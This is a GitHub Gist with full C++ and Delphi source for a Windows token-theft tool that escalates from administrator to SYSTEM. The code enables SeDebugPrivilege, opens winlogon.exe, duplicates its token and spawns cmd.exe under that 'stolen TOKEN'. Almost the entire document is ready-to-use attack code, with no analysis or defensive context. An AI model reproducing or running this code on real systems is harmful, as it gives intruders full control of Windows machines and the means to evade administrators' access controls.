Created
February 9, 2024 09:04
-
-
Save NoNameDev-Git/8a52b80bc7b9b27484f522d62f3dd184 to your computer and use it in GitHub Desktop.
ADMINISTRATOR to SYSTEM C++ and Delphi
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <windows.h> | |
#include <iostream> | |
#include <Psapi.h> | |
#include <Tlhelp32.h> | |
#include <sddl.h> | |
#pragma comment (lib,"advapi32.lib") | |
#define PROCESS_ARRAY 2048 | |
std::string wcharToString(wchar_t input[1024]) | |
{ | |
std::wstring wstringValue(input); | |
std::string convertedString(wstringValue.begin(), wstringValue.end()); | |
return convertedString; | |
} | |
void GetTokenInfo(HANDLE TokenHandle) | |
{ | |
LPVOID TokenInformation = NULL; | |
DWORD TokenInformationLength = 0; | |
DWORD ReturnLength; | |
SID_NAME_USE SidType; | |
GetTokenInformation(TokenHandle, TokenUser, NULL, 0, &ReturnLength); | |
PTOKEN_USER pTokenUser = (PTOKEN_USER)GlobalAlloc(GPTR, ReturnLength); | |
GetTokenInformation(TokenHandle, TokenUser, pTokenUser, ReturnLength, &ReturnLength); | |
wchar_t* userSid = NULL; | |
ConvertSidToStringSid(pTokenUser->User.Sid, &userSid); | |
std::string sid = wcharToString(userSid); | |
TCHAR szGroupName[256]; | |
TCHAR szDomainName[256]; | |
DWORD cchGroupName = 256; | |
DWORD cchDomainName = 256; | |
LookupAccountSid(NULL, pTokenUser->User.Sid, szGroupName, &cchGroupName, szDomainName, &cchDomainName, &SidType); | |
std::wcout << "[+] Current SID: " << szDomainName << "\\" << szGroupName << " @ "; | |
std::cout << sid << std::endl;; | |
} | |
int LocateWinLogonProcess() | |
{ | |
DWORD lpidProcess[PROCESS_ARRAY], lpcbNeeded, cProcesses; | |
EnumProcesses(lpidProcess, sizeof(lpidProcess), &lpcbNeeded); | |
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); | |
PROCESSENTRY32 p32; | |
p32.dwSize = sizeof(PROCESSENTRY32); | |
int processWinlogonPid; | |
if (Process32First(hSnapshot, &p32)) | |
{ | |
do { | |
if (wcharToString(p32.szExeFile) == "winlogon.exe") | |
{ | |
std::cout << "[+] Located winlogon.exe by process name (PID " << p32.th32ProcessID << ")" << std::endl; | |
processWinlogonPid = p32.th32ProcessID; | |
return processWinlogonPid; | |
break; | |
} | |
} while (Process32Next(hSnapshot, &p32)); | |
CloseHandle(hSnapshot); | |
} | |
} | |
void EnableSeDebugPrivilegePrivilege() | |
{ | |
LUID luid; | |
HANDLE currentProc = OpenProcess(PROCESS_ALL_ACCESS, false, GetCurrentProcessId()); | |
if (currentProc) | |
{ | |
HANDLE TokenHandle(NULL); | |
BOOL hProcessToken = OpenProcessToken(currentProc, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &TokenHandle); | |
if (hProcessToken) | |
{ | |
BOOL checkToken = LookupPrivilegeValue(NULL, L"SeDebugPrivilege", &luid); | |
if (!checkToken) | |
{ | |
std::cout << "[+] Current process token already includes SeDebugPrivilege\n" << std::endl; | |
} | |
else | |
{ | |
TOKEN_PRIVILEGES tokenPrivs; | |
tokenPrivs.PrivilegeCount = 1; | |
tokenPrivs.Privileges[0].Luid = luid; | |
tokenPrivs.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; | |
BOOL adjustToken = AdjustTokenPrivileges(TokenHandle, FALSE, &tokenPrivs, sizeof(TOKEN_PRIVILEGES), (PTOKEN_PRIVILEGES)NULL, (PDWORD)NULL); | |
if (adjustToken != 0) | |
{ | |
std::cout << "[+] Added SeDebugPrivilege to the current process token" << std::endl; | |
} | |
} | |
CloseHandle(TokenHandle); | |
} | |
} | |
CloseHandle(currentProc); | |
} | |
BOOL CreateImpersonatedProcess(HANDLE NewToken) | |
{ | |
bool NewProcess; | |
STARTUPINFO lpStartupInfo = { 0 }; | |
PROCESS_INFORMATION lpProcessInformation = { 0 }; | |
lpStartupInfo.cb = sizeof(lpStartupInfo); | |
NewProcess = CreateProcessWithTokenW(NewToken, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\cmd.exe", NULL, 0, NULL, NULL, &lpStartupInfo, &lpProcessInformation); | |
if (!NewProcess) | |
{ | |
std::cout << "[!] Failed to create a new process with the stolen TOKEN" << std::endl; | |
return -1; | |
} | |
std::cout << "[+] Created a new process with the stolen TOKEN" << std::endl; | |
GetTokenInfo(NewToken); | |
CloseHandle(NewToken); | |
} | |
BOOL StealToken(int TargetPID) | |
{ | |
HANDLE hProcess = NULL; | |
HANDLE TokenHandle = NULL; | |
HANDLE NewToken = NULL; | |
BOOL OpenToken; | |
BOOL Impersonate; | |
BOOL Duplicate; | |
hProcess = OpenProcess(PROCESS_ALL_ACCESS, TRUE, TargetPID); | |
if (!hProcess) | |
{ | |
std::cout << "[!] Failed to obtain a HANDLE to the target PID" << std::endl; | |
return -1; | |
} | |
std::cout << "[+] Obtained a HANDLE to the target PID" << std::endl; | |
OpenToken = OpenProcessToken(hProcess, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY, &TokenHandle); | |
if (!OpenToken) | |
{ | |
std::cout << "[!] Failed to obtain a HANDLE to the target TOKEN" << std::endl; | |
std::cout << GetLastError(); | |
} | |
std::cout << "[+] Obtained a HANDLE to the target TOKEN" << std::endl; | |
Impersonate = ImpersonateLoggedOnUser(TokenHandle); | |
if (!Impersonate) | |
{ | |
std::cout << "[!] Failed to impersonate the TOKEN's user" << std::endl; | |
return -1; | |
} | |
std::cout << "[+] Impersonated the TOKEN's user" << std::endl; | |
Duplicate = DuplicateTokenEx(TokenHandle, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &NewToken); | |
if (!Duplicate) | |
{ | |
std::cout << "[!] Failed to duplicate the target TOKEN" << std::endl; | |
return -1; | |
} | |
std::cout << "[+] Duplicated the target TOKEN" << std::endl; | |
CreateImpersonatedProcess(NewToken); | |
CloseHandle(hProcess); | |
CloseHandle(TokenHandle); | |
} | |
void CheckCurrentProcess() | |
{ | |
HANDLE TokenHandle = NULL; | |
HANDLE hCurrent = GetCurrentProcess(); | |
OpenProcessToken(hCurrent, TOKEN_QUERY, &TokenHandle); | |
GetTokenInfo(TokenHandle); | |
CloseHandle(TokenHandle); | |
} | |
int main(int argc, char* argv[]) | |
{ | |
CheckCurrentProcess(); | |
int winLogonPID = LocateWinLogonProcess(); | |
EnableSeDebugPrivilegePrivilege(); | |
StealToken(winLogonPID); | |
return 0; | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
program Project1; | |
uses | |
Vcl.Forms, | |
Unit1 in 'Unit1.pas' {Form1}; | |
{$R *.res} | |
begin | |
Application.Initialize; | |
Application.MainFormOnTaskbar := True; | |
Application.CreateForm(TForm1, Form1); | |
Application.Run; | |
end. |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
unit Unit1; | |
interface | |
uses | |
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics, | |
Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, TlHelp32, Psapi; | |
type | |
TForm1 = class(TForm) | |
Memo1: TMemo; | |
procedure FormCreate(Sender: TObject); | |
private | |
{ Private declarations } | |
public | |
{ Public declarations } | |
end; | |
type | |
SID_AND_ATTRIBUTES = record | |
Sid: PSID; | |
Attributes: DWORD; | |
end; | |
type | |
PTOKEN_USER = ^TOKEN_USER; | |
TOKEN_USER = record | |
User: SID_AND_ATTRIBUTES; | |
end; | |
type | |
LPSTARTUPINFOW = ^STARTUPINFOW; | |
STARTUPINFOW = record | |
cb: DWORD; | |
lpReserved: LPWSTR; | |
lpDesktop: LPWSTR; | |
lpTitle: LPWSTR; | |
dwX: DWORD; | |
dwY: DWORD; | |
dwXSize: DWORD; | |
dwYSize: DWORD; | |
dwXCountChars: DWORD; | |
dwYCountChars: DWORD; | |
dwFillAttribute: DWORD; | |
dwFlags: DWORD; | |
wShowWindow: Word; | |
cbReserved2: Word; | |
lpReserved2: LPBYTE; | |
hStdInput: THandle; | |
hStdOutput: THandle; | |
hStdError: THandle; | |
end; | |
type | |
LPPROCESS_INFORMATION = ^PROCESS_INFORMATION; | |
PROCESS_INFORMATION = record | |
hProcess: THandle; | |
hThread: THandle; | |
dwProcessId: DWORD; | |
dwThreadId: DWORD; | |
end; | |
var | |
Form1: TForm1; | |
const | |
PROCESS_ARRAY = 2048; | |
LOGON_WITH_PROFILE = $00000001; | |
TOKEN_ALL_ACCESS = $F01FF; | |
function CreateProcessWithTokenW(hToken: THandle; dwLogonFlags: DWORD; | |
lpApplicationName: LPCWSTR; lpCommandLine: LPWSTR; | |
dwCreationFlags: DWORD; lpEnvironment: LPVOID; | |
lpCurrentDirectory: LPCWSTR; lpStartupInfo: LPSTARTUPINFOW; | |
lpProcessInformation: LPPROCESS_INFORMATION): BOOL; stdcall; | |
external 'advapi32.dll' name 'CreateProcessWithTokenW'; | |
implementation | |
{$R *.dfm} | |
procedure GetTokenInfo(TokenHandle: THandle); | |
var | |
TokenInformation: Pointer; | |
ReturnLength: DWORD; | |
pTokenUser: PTOKEN_USER; | |
userSid: LPWSTR; | |
szGroupName, szDomainName: array[0..255] of CHAR; | |
begin | |
GetTokenInformation(TokenHandle, TokenUser, nil, 0, ReturnLength); | |
GetMem(TokenInformation, ReturnLength); | |
try | |
pTokenUser := PTOKEN_USER(TokenInformation); | |
GetTokenInformation(TokenHandle, TokenUser, pTokenUser, ReturnLength, ReturnLength); | |
ConvertSidToStringSid(pTokenUser.User.Sid, userSid); | |
Form1.Memo1.Lines.Add('[+] Current SID: '+ szDomainName+ '\'+ szGroupName+ ' @ '+ String(userSid)); | |
finally | |
FreeMem(TokenInformation); | |
end; | |
end; | |
procedure EnableSeDebugPrivilegePrivilege; | |
var | |
TokenHandle: THandle; | |
d : DWORD; | |
tp : TOKEN_PRIVILEGES; | |
begin | |
if OpenProcessToken(OpenProcess(PROCESS_ALL_ACCESS, False, GetCurrentProcessId()), | |
TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, TokenHandle) then | |
begin | |
tp.PrivilegeCount := 1; | |
if LookupPrivilegeValue(nil, 'SeDebugPrivilege', tp.Privileges[0].Luid) then | |
begin | |
tp.Privileges[0].Attributes := $00000002; | |
if AdjustTokenPrivileges(TokenHandle, False, tp, SizeOf(TOKEN_PRIVILEGES), nil, d) then | |
begin | |
Form1.Memo1.Lines.Add('[+] Added SeDebugPrivilege to the current process token'); | |
end; | |
end | |
else Form1.Memo1.Lines.Add('[+] Current process token already includes SeDebugPrivilege') | |
end; | |
end; | |
function CreateImpersonatedProcess(NewToken: THandle): BOOL; | |
var | |
lpStartupInfo: STARTUPINFO; | |
lpProcessInformation: PROCESS_INFORMATION; | |
begin | |
ZeroMemory(@lpStartupInfo, SizeOf(lpStartupInfo)); | |
lpStartupInfo.cb := SizeOf(lpStartupInfo); | |
if CreateProcessWithTokenW(NewToken, LOGON_WITH_PROFILE, 'C:\Windows\System32\cmd.exe', nil, 0, nil, nil, @lpStartupInfo, @lpProcessInformation) then | |
begin | |
Form1.Memo1.Lines.Add('[+] Created a new process with the stolen TOKEN'); | |
GetTokenInfo(NewToken); | |
CloseHandle(NewToken); | |
Result := True; | |
end | |
else | |
begin | |
Form1.Memo1.Lines.Add('[!] Failed to create a new process with the stolen TOKEN'); | |
Result := False; | |
end; | |
end; | |
function InstallToken(TargetPID: Integer): BOOL; | |
var | |
TokenHandle, NewToken: THandle; | |
begin | |
Result := False; | |
if OpenProcessToken(OpenProcess(PROCESS_ALL_ACCESS, True, TargetPID), TOKEN_DUPLICATE or TOKEN_ASSIGN_PRIMARY or TOKEN_QUERY, TokenHandle) then | |
begin | |
Form1.Memo1.Lines.Add('[+] Obtained a HANDLE to the target TOKEN'); | |
if ImpersonateLoggedOnUser(TokenHandle) then | |
begin | |
Form1.Memo1.Lines.Add('[+] Impersonated the TOKEN''s user'); | |
if DuplicateTokenEx(TokenHandle, TOKEN_ALL_ACCESS, nil, SecurityImpersonation, TokenPrimary, NewToken) then | |
begin | |
Form1.Memo1.Lines.Add('[+] Duplicated the target TOKEN'); | |
Result := CreateImpersonatedProcess(NewToken); | |
CloseHandle(TokenHandle); | |
end | |
else Form1.Memo1.Lines.Add('[!] Failed to duplicate the target TOKEN'); | |
end | |
else Form1.Memo1.Lines.Add('[!] Failed to impersonate the TOKEN''s user'); | |
end | |
else Form1.Memo1.Lines.Add('[!] Failed to obtain a HANDLE to the target TOKEN'); | |
end; | |
procedure CheckCurrentProcess; | |
var | |
TokenHandle: THandle; | |
hCurrent: THandle; | |
begin | |
hCurrent := 0; | |
if GetCurrentProcess() <> 0 then | |
begin | |
if OpenProcessToken(hCurrent, TOKEN_QUERY, TokenHandle) then | |
begin | |
GetTokenInfo(TokenHandle); | |
CloseHandle(TokenHandle); | |
end; | |
end; | |
end; | |
function GetPID(IFile: String): DWORD; | |
var | |
IH: THandle; | |
IPE: TProcessEntry32; | |
begin | |
Result := 0; | |
IFile := UpperCase(IFile); | |
IH := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0); | |
if IH <> 0 then | |
try | |
IPE.dwSize := Sizeof(IPE); | |
if Process32First(IH, IPE) then | |
repeat | |
if Pos(IFile,UpperCase(ExtractFilename(StrPas(IPE.szExeFile)))) > 0 then | |
begin | |
Form1.Memo1.Lines.Add('[+] Located winlogon.exe by process name (PID '+ IntToStr(IPE.th32ProcessID)+ ')'); | |
Result:= IPE.th32ProcessID; | |
Break; | |
end; | |
until not Process32Next(IH, IPE); | |
finally | |
CloseHandle(IH); | |
end; | |
end; | |
procedure TForm1.FormCreate(Sender: TObject); | |
var PID: Cardinal; | |
begin | |
try | |
PID := GetPID('winlogon.exe'); | |
CheckCurrentProcess; | |
EnableSeDebugPrivilegePrivilege; | |
InstallToken(PID); | |
except | |
on E: Exception do | |
Form1.Memo1.Lines.Add('Error: '+ E.ClassName+ ': '+ E.Message); | |
end; | |
end; | |
end. |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment